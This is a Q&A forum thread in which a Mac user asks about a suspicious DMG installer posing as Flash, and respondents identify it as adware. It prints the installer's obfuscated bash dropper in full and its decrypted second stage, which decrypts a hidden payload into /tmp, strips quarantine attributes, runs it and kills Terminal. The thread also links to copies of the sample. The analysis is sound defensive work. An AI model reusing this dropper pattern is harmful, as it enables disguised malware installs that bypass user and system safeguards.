5

I'm new to Mac. I downloaded software from a website. It was a DMG file. I installed it, but then the app didn't appear in the Launchpad. I accessed the DMG and I see this strange installation script that could be a virus (why encrypt arguments??) What do you think? Where can I found the installed app and delete it?

I searched in About this Mac > System Report > Installations & Applications but is not there. And then I used the search in the Finder and neither.

EDIT: The software I tried to download was a legit software from around 115MB and when I downloaded was only 4MB... that was my first red flag. Then I run the installation, and instead of the software logo, it said it was installing flash... and then a terminal shown and hide in a second... I opened the installation file and I have this:

#!/bin/bash
G="a";F="c";Q="d";H="e";V="l";Z="m";X="n";T="o";J="p";K="s";
export appDir=$(cd "$(dirname "$0")"; pwd -P)
export tmpDir="$(mktemp -d /tmp/XXXXXXXXXXXX)"
export binFile="$(cd "$appDir"; ls | grep -Ev '\.(command)$' | head -n 1 | rev)"
export archive="$(echo $binFile | rev)"
export commandArgs='U2FsdGVkX18mEBVdMEhSyNthIprtcEexqgmiVNi7GYZhMTp6b/5TLfySc6T7DDx4s/IhTc8GJ2IjrqeWRIb8Rv9r8FqrZplCOhnKlqwMSumhQ5K47p1GzR7WEpWxL2cdbMPuQDuntt9UqqoIuDsJrH5S2rkk8gbKu6+XIMA8rtTe1XzG/yjQXOWDzF6YzLyuy4Mf9Ro26V9NWalR+VmHaX6V0Mdpy9Gw/01HB93qNTV3VuzwYNBxInWHSgeJ4lMOYmg2YjmF6ihs4fA8cdJk0qoKKh87gzad3PoFiBKRmMIfqtwC/BBZ+F+GP2fIAav3'
decryptedFommand="$(echo -e "$commandArgs" | ${T}${J}${H}${X}${K}${K}${V} ${H}${X}${F} -${G}${H}${K}-256-cbc -${Q} -A -b${G}${K}${H}64 -${J}${G}${K}${K} "${J}${G}${K}${K}:$archive")"
nohup /bin/bash -c "${H}v${G}${V} \"$decryptedFommand\"" >/dev/null 2>&1 &
killall Terminal 

Which is pretty strange... why an installation would encrypt it's parameters???

So according to this, I created a new bash script with this:

#!/bin/bash
G="a";F="c";Q="d";H="e";V="l";Z="m";X="n";T="o";J="p";K="s";
export appDir=$(cd "$(dirname "$0")"; pwd -P)
export tmpDir="$(mktemp -d /tmp/XXXXXXXXXXXX)"
export binFile="$(cd "$appDir"; ls | grep -Ev '\.(command)$' | head -n 1 | rev)"
export archive="$(echo $binFile | rev)"
export commandArgs='U2FsdGVkX18mEBVdMEhSyNthIprtcEexqgmiVNi7GYZhMTp6b/5TLfySc6T7DDx4s/IhTc8GJ2IjrqeWRIb8Rv9r8FqrZplCOhnKlqwMSumhQ5K47p1GzR7WEpWxL2cdbMPuQDuntt9UqqoIuDsJrH5S2rkk8gbKu6+XIMA8rtTe1XzG/yjQXOWDzF6YzLyuy4Mf9Ro26V9NWalR+VmHaX6V0Mdpy9Gw/01HB93qNTV3VuzwYNBxInWHSgeJ4lMOYmg2YjmF6ihs4fA8cdJk0qoKKh87gzad3PoFiBKRmMIfqtwC/BBZ+F+GP2fIAav3'
decryptedFommand="$(echo -e "$commandArgs" | ${T}${J}${H}${X}${K}${K}${V} ${H}${X}${F} -${G}${H}${K}-256-cbc -${Q} -A -b${G}${K}${H}64 -${J}${G}${K}${K} "${J}${G}${K}${K}:$archive")"

And I tried first to echo commandArgs and then decryptedFommand but in both cases I got:

4379344364:error:06FFF064:digital envelope routines:CRYPTO_internal:bad decrypt:/System/Volumes/Data/SWE/macOS/BuildRoots/38cf1d983f/Library/Caches/com.apple.xbs/Sources/libressl/libressl-56.60.2/libressl-2.8/crypto/evp/evp_enc.c:521:

According to the comments from @nohillside there was another file which had the key to the encryption. So I got that file and put it on the same folder as the script. But also it used it's own name, so I had to rename it to match the original script, which was Install.command. And with that, I could get that decryptedFomand prints:

$(echo "openssl enc -aes-256-cbc -d -A -base64 -k \"$archive\" -in \"$appDir/$archive\" -out \"$tmpDir/$binFile\"; xattr -c \"$tmpDir/\"*; chmod 777 \"$tmpDir/$binFile\"; \"$tmpDir/$binFile\" && rm -rf $tmpDir")

And then uses that to run the last command:

nohup /bin/bash -c "${H}v${G}${V} \"$decryptedFommand\"" >/dev/null 2>&1 &
killall Terminal  

So what it's doing?

I uploaded the suspicious DMG to my Google Drive just in case it helps: https://drive.google.com/file/d/1O2WihwZyzjzUZVwLkAfmCw8nqXYZeG96/view?usp=sharing In case you can't download the DMG, I put a zip file with both files (installer and the key file): https://drive.google.com/file/d/1YDccdiWZsgNMcqvGPmuiatJfBnfns5lE/view?usp=sharing

15
  • 1
    Without more information it's impossible to answer this. What software, what website, what strange installation script, etc. Oct 10, 2021 at 4:24
  • 2
    And yes, this script looks more than a little fishy
    – nohillside
    Oct 10, 2021 at 13:04
  • 1
    The last line is just eval $decryptedCommand. Without access to the DMG it's impossible to say what exactly it does or where things get installed. Where exactly did you get the DMG from?
    – nohillside
    Oct 10, 2021 at 15:17
  • 1
    That script looks extremely similar to one I saw last year (here). In that case it was installing what appeared to be the Bundlore adware collection, but there's no guarantee the version you have isn't wrapping some other malware package (the installer itself is pretty generic). Oct 10, 2021 at 17:24
  • 1
    @DavidTG Google Drive's blocking the .zip version as well. Do you have the original URL it was downloaded from? Oct 11, 2021 at 0:54

1 Answer 1

3

It's an adware. https://www.virustotal.com/gui/file/539b344bda35eaf41d043cdfc76b92bb8117edfbd3d7bf546e28c173064affc9/detection

came across this today myself. So I analyzed it.

-rw-r--r-- 1 230360 Dec 17 03:49 3Mj2Qk7tMC8
-rwxrwxrwx 1    994 Dec 17 03:49 Install.command

The first file is the key and the actual payload itself, which is encrypted.

And the second file, which contains the obfuscated code. Decrypts the payload in /tmp directory and executes it.

code which was obfuscated:

$([[ $(uname -p) == arm ]] && (echo A | softwareupdate --install-rosetta); 
  echo "openssl enc -aes-256-cbc -d -A -base64 -k \"$archive\" -in \"$appDir/$archive\" -out \"$tmpDir/$binFile\"; xattr -c \"$tmpDir/\"*; chmod 777 \"$tmpDir/$binFile\"; \"$tmpDir/$binFile\" && rm -rf $tmpDir")

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .